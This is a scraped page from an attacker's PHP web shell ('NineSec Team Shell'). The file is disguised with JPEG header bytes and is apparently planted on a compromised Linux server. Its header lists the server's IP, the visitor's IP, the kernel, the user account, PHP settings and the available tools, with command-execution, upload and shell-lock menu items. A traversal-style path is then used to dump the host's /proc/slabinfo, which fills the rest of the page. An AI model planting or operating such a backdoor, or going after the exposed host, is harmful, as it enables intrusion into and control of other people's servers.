�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.218
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /media/../etc/ghostscript/../python3/../ssl/../../../../../../proc/../../bin/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../etc/ghostscript/../python3/../ssl/../../../../../../proc/../../bin/../../proc/slabinfo
slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
nf_conntrack_expect    273    273    208   39    2 : tunables    0    0    0 : slabdata      7      7      0
nf_conntrack        6208   6208    256   32    2 : tunables    0    0    0 : slabdata    194    194      0
isofs_inode_cache     48     48    680   24    4 : tunables    0    0    0 : slabdata      2      2      0
rpc_inode_cache       23     23    704   23    4 : tunables    0    0    0 : slabdata      1      1      0
kvm_vcpu               9      9   9152    3    8 : tunables    0    0    0 : slabdata      3      3      0
kvm_mmu_page_header    110    110    184   22    1 : tunables    0    0    0 : slabdata      5      5      0
x86_emulator          36     36   2672   12    8 : tunables    0    0    0 : slabdata      3      3      0
zfs_znode_hold_cache      0      0     88   46    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_znode_cache        0      0   1120   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_long_cache      0      0   1056   31    8 : tunables    0    0    0 : slabdata      0      0      0
zap_name_long          0      0   1096   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_cache         0      0    288   28    2 : tunables    0    0    0 : slabdata      0      0      0
zap_name               0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_2            0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_1            0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_0            0      0    136   30    1 : tunables    0    0    0 : slabdata      0      0      0
zil_zcw_cache          0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
zil_lwb_cache          0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
dbuf_dirty_record_t      0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
dmu_buf_impl_t         0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_t              0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_l2only      0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_full     34     34    240   34    2 : tunables    0    0    0 : slabdata      1      1      0
dnode_t                0      0    952   34    8 : tunables    0    0    0 : slabdata      0      0      0
sa_cache               0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
abd_t                 42     42     96   42    1 : tunables    0    0    0 : slabdata      1      1      0
lz4_cache              0      0  16384    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_16384      6      6  16384    2    8 : tunables    0    0    0 : slabdata      3      3      0
zio_buf_comb_12288      0      0  12288    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_8192      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_6144      0      0   6144    5    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_4096      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_3072      0      0   3072   10    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_2048      0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1536      0      0   1536   21    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1024      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_512       0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
zio_link_cache         0      0     48   85    1 : tunables    0    0    0 : slabdata      0      0      0
zio_cache              0      0   1216   26    8 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_trad_cache      0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_flat_cache      0      0    144   28    1 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_trad_cache      0      0    424   38    4 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_flat_cache      0      0    240   34    2 : tunables    0    0    0 : slabdata      0      0      0
brt_entry_cache        0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
metaslab_alloc_trace_cache      0      0     72   56    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_btree_leaf_cache      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
kcf_context_cache      0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
ext4_groupinfo_4k  29718  29718    152   26    1 : tunables    0    0    0 : slabdata   1143   1143      0
bio-176              672    672    192   21    1 : tunables    0    0    0 : slabdata     32     32      0
scsi_sense_cache     384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
fsverity_info          0      0    264   31    2 : tunables    0    0    0 : slabdata      0      0      0
fscrypt_inode_info      0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
MPTCPv6                0      0   2112   15    8 : tunables    0    0    0 : slabdata      0      0      0
ip6-frags              0      0    184   22    1 : tunables    0    0    0 : slabdata      0      0      0
RAWv6                338    338   1216   26    8 : tunables    0    0    0 : slabdata     13     13      0
UDPv6                552    621   1408   23    8 : tunables    0    0    0 : slabdata     27     27      0
tw_sock_TCPv6        837    837    264   31    2 : tunables    0    0    0 : slabdata     27     27      0
request_sock_TCPv6    150    150    320   25    2 : tunables    0    0    0 : slabdata      6      6      0
TCPv6                216    216   2624   12    8 : tunables    0    0    0 : slabdata     18     18      0
kcopyd_job             0      0   3240   10    8 : tunables    0    0    0 : slabdata      0      0      0
dm_uevent              0      0   2888   11    8 : tunables    0    0    0 : slabdata      0      0      0
bio-136              693    693    192   21    1 : tunables    0    0    0 : slabdata     33     33      0
io_kiocb             192    192    256   32    2 : tunables    0    0    0 : slabdata      6      6      0
bio-264              100    100    320   25    2 : tunables    0    0    0 : slabdata      4      4      0
mqueue_inode_cache     68     68    960   34    8 : tunables    0    0    0 : slabdata      2      2      0
fuse_request         391    391    176   23    1 : tunables    0    0    0 : slabdata     17     17      0
fuse_inode          3024   3024    896   36    8 : tunables    0    0    0 : slabdata     84     84      0
ecryptfs_inode_cache      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
ecryptfs_file_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
fat_inode_cache       40     40    784   20    4 : tunables    0    0    0 : slabdata      2      2      0
fat_cache              0      0     40  102    1 : tunables    0    0    0 : slabdata      0      0      0
squashfs_inode_cache      0      0    704   23    4 : tunables    0    0    0 : slabdata      0      0      0
jbd2_transaction_s   1176   1176    192   21    1 : tunables    0    0    0 : slabdata     56     56      0
jbd2_journal_head   4624   4624    120   34    1 : tunables    0    0    0 : slabdata    136    136      0
jbd2_revoke_table_s    768    768     16  256    1 : tunables    0    0    0 : slabdata      3      3      0
ext4_inode_cache  1801302 2305471   1128   29    8 : tunables    0    0    0 : slabdata  79499  79499      0
ext4_allocation_context    288    288    168   24    1 : tunables    0    0    0 : slabdata     12     12      0
ext4_prealloc_space    432    432    112   36    1 : tunables    0    0    0 : slabdata     12     12      0
ext4_io_end         2432   2688     64   64    1 : tunables    0    0    0 : slabdata     42     42      0
bio_post_read_ctx    170    170     48   85    1 : tunables    0    0    0 : slabdata      2      2      0
pending_reservation   3840   3840     32  128    1 : tunables    0    0    0 : slabdata     30     30      0
extent_status     1671076 1693404     40  102    1 : tunables    0    0    0 : slabdata  16602  16602      0
mb_cache_entry      2993   3285     56   73    1 : tunables    0    0    0 : slabdata     45     45      0
kioctx               196    196    576   28    4 : tunables    0    0    0 : slabdata      7      7      0
userfaultfd_ctx_cache      0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
fanotify_perm_event      0      0    112   36    1 : tunables    0    0    0 : slabdata      0      0      0
dnotify_struct         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
pid_namespace         28     28    288   28    2 : tunables    0    0    0 : slabdata      1      1      0
xsk_generic_xmit_cache   3456   3840     32  128    1 : tunables    0    0    0 : slabdata     30     30      0
ip4-frags            240    240    200   20    1 : tunables    0    0    0 : slabdata     12     12      0
MPTCP                  0      0   1984   16    8 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v6      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v4      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_dst               0      0    320   25    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_state             0      0    832   39    8 : tunables    0    0    0 : slabdata      0      0      0
ip_fib_trie          850    850     48   85    1 : tunables    0    0    0 : slabdata     10     10      0
ip_fib_alias         730    730     56   73    1 : tunables    0    0    0 : slabdata     10     10      0
PING                  32     32   1024   32    8 : tunables    0    0    0 : slabdata      1      1      0
RAW                  416    416   1024   32    8 : tunables    0    0    0 : slabdata     13     13      0
UDP                  514    598   1216   26    8 : tunables    0    0    0 : slabdata     23     23      0
tw_sock_TCP         1209   1209    264   31    2 : tunables    0    0    0 : slabdata     39     39      0
request_sock_TCP     950    975    320   25    2 : tunables    0    0    0 : slabdata     39     39      0
TCP                  481    481   2432   13    8 : tunables    0    0    0 : slabdata     37     37      0
hugetlbfs_inode_cache    200    200    640   25    4 : tunables    0    0    0 : slabdata      8      8      0
dquot                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
bio-280               50     50    320   25    2 : tunables    0    0    0 : slabdata      2      2      0
ep_head             4352   4352     16  256    1 : tunables    0    0    0 : slabdata     17     17      0
eventpoll_epi       2915   3840    128   32    1 : tunables    0    0    0 : slabdata    120    120      0
dax_cache             39     39    832   39    8 : tunables    0    0    0 : slabdata      1      1      0
bio_integrity_data    320    320    128   32    1 : tunables    0    0    0 : slabdata     10     10      0
request_queue        160    160   1000   32    8 : tunables    0    0    0 : slabdata      5      5      0
bio-200              900   1024    256   32    2 : tunables    0    0    0 : slabdata     32     32      0
biovec-max           216    256   4096    8    8 : tunables    0    0    0 : slabdata     32     32      0
biovec-128           344    384   2048   16    8 : tunables    0    0    0 : slabdata     24     24      0
msg_msg-8k             0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-4k             0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-2k             0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-1k             0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-512            0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-256            0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-128            0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-64             0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-32             0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-16             0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-8              0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-192            0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-96             0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
khugepaged_mm_slot   2856   2856     40  102    1 : tunables    0    0    0 : slabdata     28     28      0
memdup_user-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-4k        32     32   4096    8    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-2k        64     64   2048   16    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-1k       128    128   1024   32    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-512       96     96    512   32    4 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-64       768    768     64   64    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-32      1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-16      3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-8       6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-192       63     63    192   21    1 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-96       504    504     96   42    1 : tunables    0    0    0 : slabdata     12     12      0
user_namespace       182    182    616   26    4 : tunables    0    0    0 : slabdata      7      7      0
iommu_iova_magazine    736    768   1024   32    8 : tunables    0    0    0 : slabdata     24     24      0
dmaengine-unmap-256     15     15   2112   15    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-128     30     30   1088   30    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-2 376387 778624     64   64    1 : tunables    0    0    0 : slabdata  12166  12166      0
sock_inode_cache    2847   4329    832   39    8 : tunables    0    0    0 : slabdata    111    111      0
skbuff_small_head    897    920    704   23    4 : tunables    0    0    0 : slabdata     40     40      0
skbuff_head_cache   1203   1312    256   32    2 : tunables    0    0    0 : slabdata     41     41      0
tracefs_inode_cache    336    336    664   24    4 : tunables    0    0    0 : slabdata     14     14      0
debugfs_inode_cache   1575   1575    648   25    4 : tunables    0    0    0 : slabdata     63     63      0
file_lease_cache       0      0    160   25    1 : tunables    0    0    0 : slabdata      0      0      0
file_lock_cache     2221   2352    192   21    1 : tunables    0    0    0 : slabdata    112    112      0
buffer_head       1522908 3263247    104   39    1 : tunables    0    0    0 : slabdata  83673  83673      0
x86_lbr                0      0    800   20    4 : tunables    0    0    0 : slabdata      0      0      0
task_delay_info      384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
taskstats            890   1015    560   29    4 : tunables    0    0    0 : slabdata     35     35      0
mem_cgroup_per_node    544    544   1920   17    8 : tunables    0    0    0 : slabdata     32     32      0
mem_cgroup           513    560   2240   14    8 : tunables    0    0    0 : slabdata     40     40      0
pidfs_xattr_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
pidfs_attr_cache    3864   4096     32  128    1 : tunables    0    0    0 : slabdata     32     32      0
proc_dir_entry      1260   1260    192   21    1 : tunables    0    0    0 : slabdata     60     60      0
pde_opener          1224   1224     40  102    1 : tunables    0    0    0 : slabdata     12     12      0
proc_inode_cache   42397  44275    704   23    4 : tunables    0    0    0 : slabdata   1925   1925      0
seq_file             408    408    120   34    1 : tunables    0    0    0 : slabdata     12     12      0
sigqueue            2142   2193     80   51    1 : tunables    0    0    0 : slabdata     43     43      0
bdev_cache           133    133   1664   19    8 : tunables    0    0    0 : slabdata      7      7      0
shmem_inode_cache   3130   3380    784   20    4 : tunables    0    0    0 : slabdata    169    169      0
kernfs_node_cache  65902  66810    136   30    1 : tunables    0    0    0 : slabdata   2227   2227      0
mnt_cache           1660   1680    384   21    2 : tunables    0    0    0 : slabdata     80     80      0
bfilp                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
filp               26693  31437    192   21    1 : tunables    0    0    0 : slabdata   1497   1497      0
inode_cache        16853  18875    632   25    4 : tunables    0    0    0 : slabdata    755    755      0
dentry            1112854 1161951    192   21    1 : tunables    0    0    0 : slabdata  55331  55331      0
names_cache          176    224   4096    8    8 : tunables    0    0    0 : slabdata     28     28      0
net_namespace         40     40   5952    5    8 : tunables    0    0    0 : slabdata      8      8      0
ima_iint_cache         0      0    104   39    1 : tunables    0    0    0 : slabdata      0      0      0
lsm_inode_cache   1804214 2521812     88   46    1 : tunables    0    0    0 : slabdata  54822  54822      0
lsm_file_cache     28837  44030     24  170    1 : tunables    0    0    0 : slabdata    259    259      0
uts_namespace        444    444    432   37    4 : tunables    0    0    0 : slabdata     12     12      0
nsproxy              672    672     72   56    1 : tunables    0    0    0 : slabdata     12     12      0
vm_area_struct    1207738 1214913    192   21    1 : tunables    0    0    0 : slabdata  57853  57853      0
files_cache         1773   2162    704   23    4 : tunables    0    0    0 : slabdata     94     94      0
signal_cache        2754   3752   1152   28    8 : tunables    0    0    0 : slabdata    134    134      0
sighand_cache       1811   2130   2112   15    8 : tunables    0    0    0 : slabdata    142    142      0
task_struct         3135   3326  12480    2    8 : tunables    0    0    0 : slabdata   1663   1663      0
anon_vma_chain    899695 928896     64   64    1 : tunables    0    0    0 : slabdata  14514  14514      0
anon_vma          457022 470886    104   39    1 : tunables    0    0    0 : slabdata  12074  12074      0
pid                 5860   7098    192   21    1 : tunables    0    0    0 : slabdata    338    338      0
Acpi-ParseExt        468    468    104   39    1 : tunables    0    0    0 : slabdata     12     12      0
Acpi-State          1739   2244     80   51    1 : tunables    0    0    0 : slabdata     44     44      0
shared_policy_node   7820   7820     48   85    1 : tunables    0    0    0 : slabdata     92     92      0
numa_policy          180    180    272   30    2 : tunables    0    0    0 : slabdata      6      6      0
perf_event           288    288   1344   24    8 : tunables    0    0    0 : slabdata     12     12      0
trace_event_file    2226   2226     96   42    1 : tunables    0    0    0 : slabdata     53     53      0
ftrace_event_field  58046  59349     56   73    1 : tunables    0    0    0 : slabdata    813    813      0
pool_workqueue      1792   1792    512   32    4 : tunables    0    0    0 : slabdata     56     56      0
radix_tree_node   693954 746592    584   28    4 : tunables    0    0    0 : slabdata  26664  26664      0
task_group          1050   1050    640   25    4 : tunables    0    0    0 : slabdata     42     42      0
maple_node        108900 131936    256   32    2 : tunables    0    0    0 : slabdata   4123   4123      0
mm_struct           1623   2100   1536   21    8 : tunables    0    0    0 : slabdata    100    100      0
vmap_area          35983  42448     72   56    1 : tunables    0    0    0 : slabdata    758    758      0
kmalloc_buckets       36     36    112   36    1 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-cg-8k         68     68   8192    4    8 : tunables    0    0    0 : slabdata     17     17      0
kmalloc-cg-4k        264    264   4096    8    8 : tunables    0    0    0 : slabdata     33     33      0
kmalloc-cg-2k       1443   1696   2048   16    8 : tunables    0    0    0 : slabdata    106    106      0
kmalloc-cg-1k       2048   2496   1024   32    8 : tunables    0    0    0 : slabdata     78     78      0
kmalloc-cg-512      1210   1312    512   32    4 : tunables    0    0    0 : slabdata     41     41      0
kmalloc-cg-256       416    416    256   32    2 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-cg-128       864    992    128   32    1 : tunables    0    0    0 : slabdata     31     31      0
kmalloc-cg-64       6010   7936     64   64    1 : tunables    0    0    0 : slabdata    124    124      0
kmalloc-cg-32       5679   5888     32  128    1 : tunables    0    0    0 : slabdata     46     46      0
kmalloc-cg-16       3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-cg-8       12333  12800      8  512    1 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-cg-192      1764   1764    192   21    1 : tunables    0    0    0 : slabdata     84     84      0
kmalloc-cg-96       2257   2394     96   42    1 : tunables    0    0    0 : slabdata     57     57      0
dma-kmalloc-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4k         0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2k         0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1k         0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512        0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-4k        48     48   4096    8    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-2k        96     96   2048   16    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-1k       192    192   1024   32    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-512      480    480    512   32    4 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rcl-256      800    800    256   32    2 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rcl-128     3389   3712    128   32    1 : tunables    0    0    0 : slabdata    116    116      0
kmalloc-rcl-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-192     1566   1743    192   21    1 : tunables    0    0    0 : slabdata     83     83      0
kmalloc-rcl-96     42512  53970     96   42    1 : tunables    0    0    0 : slabdata   1285   1285      0
kmalloc-rnd-15-8k    160    160   8192    4    8 : tunables    0    0    0 : slabdata     40     40      0
kmalloc-rnd-15-4k     40     40   4096    8    8 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-rnd-15-2k    112    112   2048   16    8 : tunables    0    0    0 : slabdata      7      7      0
kmalloc-rnd-15-1k    610    640   1024   32    8 : tunables    0    0    0 : slabdata     20     20      0
kmalloc-rnd-15-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-15-256    480    480    256   32    2 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-15-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-64   1536   1536     64   64    1 : tunables    0    0    0 : slabdata     24     24      0
kmalloc-rnd-15-32   5093   6656     32  128    1 : tunables    0    0    0 : slabdata     52     52      0
kmalloc-rnd-15-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-192    336    336    192   21    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-15-96   1050   1050     96   42    1 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rnd-14-8k     40     40   8192    4    8 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-14-4k     96     96   4096    8    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-2k    192    192   2048   16    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-1k    935    960   1024   32    8 : tunables    0    0    0 : slabdata     30     30      0
kmalloc-rnd-14-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-256   1283   1408    256   32    2 : tunables    0    0    0 : slabdata     44     44      0
kmalloc-rnd-14-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-64    896    896     64   64    1 : tunables    0    0    0 : slabdata     14     14      0
kmalloc-rnd-14-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-8   11264  13312      8  512    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-rnd-14-192    273    273    192   21    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-96   2127   2226     96   42    1 : tunables    0    0    0 : slabdata     53     53      0
kmalloc-rnd-13-8k      4      4   8192    4    8 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-rnd-13-4k    216    232   4096    8    8 : tunables    0    0    0 : slabdata     29     29      0
kmalloc-rnd-13-2k    480    480   2048   16    8 : tunables    0    0    0 : slabdata     30     30      0
kmalloc-rnd-13-1k    480    480   1024   32    8 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-13-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-256   1184   1184    256   32    2 : tunables    0    0    0 : slabdata     37     37      0
kmalloc-rnd-13-128    416    416    128   32    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-64   2817   3200     64   64    1 : tunables    0    0    0 : slabdata     50     50      0
kmalloc-rnd-13-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-16   4864   4864     16  256    1 : tunables    0    0    0 : slabdata     19     19      0
kmalloc-rnd-13-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-192    504    504    192   21    1 : tunables    0    0    0 : slabdata     24     24      0
kmalloc-rnd-13-96   2520   2520     96   42    1 : tunables    0    0    0 : slabdata     60     60      0
kmalloc-rnd-12-8k      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rnd-12-4k     40     40   4096    8    8 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-rnd-12-2k    272    272   2048   16    8 : tunables    0    0    0 : slabdata     17     17      0
kmalloc-rnd-12-1k    384    384   1024   32    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-512    672    672    512   32    4 : tunables    0    0    0 : slabdata     21     21      0
kmalloc-rnd-12-256    384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-64   1577   2048     64   64    1 : tunables    0    0    0 : slabdata     32     32      0
kmalloc-rnd-12-32   2048   2048     32  128    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-12-16   2560   2560     16  256    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-8    5120   5120      8  512    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-192  96432  96432    192   21    1 : tunables    0    0    0 : slabdata   4592   4592      0
kmalloc-rnd-12-96   5061   6048     96   42    1 : tunables    0    0    0 : slabdata    144    144      0
kmalloc-rnd-11-8k    111    120   8192    4    8 : tunables    0    0    0 : slabdata     30     30      0
